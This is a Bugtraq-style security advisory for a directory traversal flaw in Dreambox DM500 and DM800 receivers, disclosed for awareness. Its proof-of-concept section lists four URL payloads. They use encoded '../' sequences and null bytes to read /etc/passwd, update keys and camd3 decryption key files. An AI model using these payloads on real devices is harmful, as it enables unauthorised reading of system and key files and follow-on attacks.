DreamBox Multiple DM500 Products Directory Traversal Vulnerability

BID:47844

Info

DreamBox Multiple DM500 Products Directory Traversal Vulnerability

Bugtraq ID: 47844
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: May 13 2011 12:00AM
Updated: Jun 28 2011 05:00PM
Credit: LiquidWorm
Vulnerable: Dream Multimedia Dreambox DM800
Dream Multimedia Dreambox DM500S
Dream Multimedia Dreambox DM500HD
Dream Multimedia Dreambox DM500+
Dream Multimedia Dreambox DM500
Not Vulnerable:

Discussion

DreamBox Multiple DM500 Products Directory Traversal Vulnerability

DreamBox DM500 products are prone to a directory-traversal vulnerability because they fail to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

The following products are vulnerable:

DreamBox DM500
DreamBox DM500+
DreamBox DM500HD
DreamBox DM500S

Exploit / POC

DreamBox Multiple DM500 Products Directory Traversal Vulnerability

An attacker can exploit this issue with a web browser.

The following example URIs are available:

http://www.example.com/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd%00
http://www.example.com/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../Autoupdate.key%00
http://www.example.com/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../camd3.config%00
http://www.example.com/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../var/keys/camd3.keys%00

Solution / Fix

DreamBox Multiple DM500 Products Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

DreamBox Multiple DM500 Products Directory Traversal Vulnerability

References:

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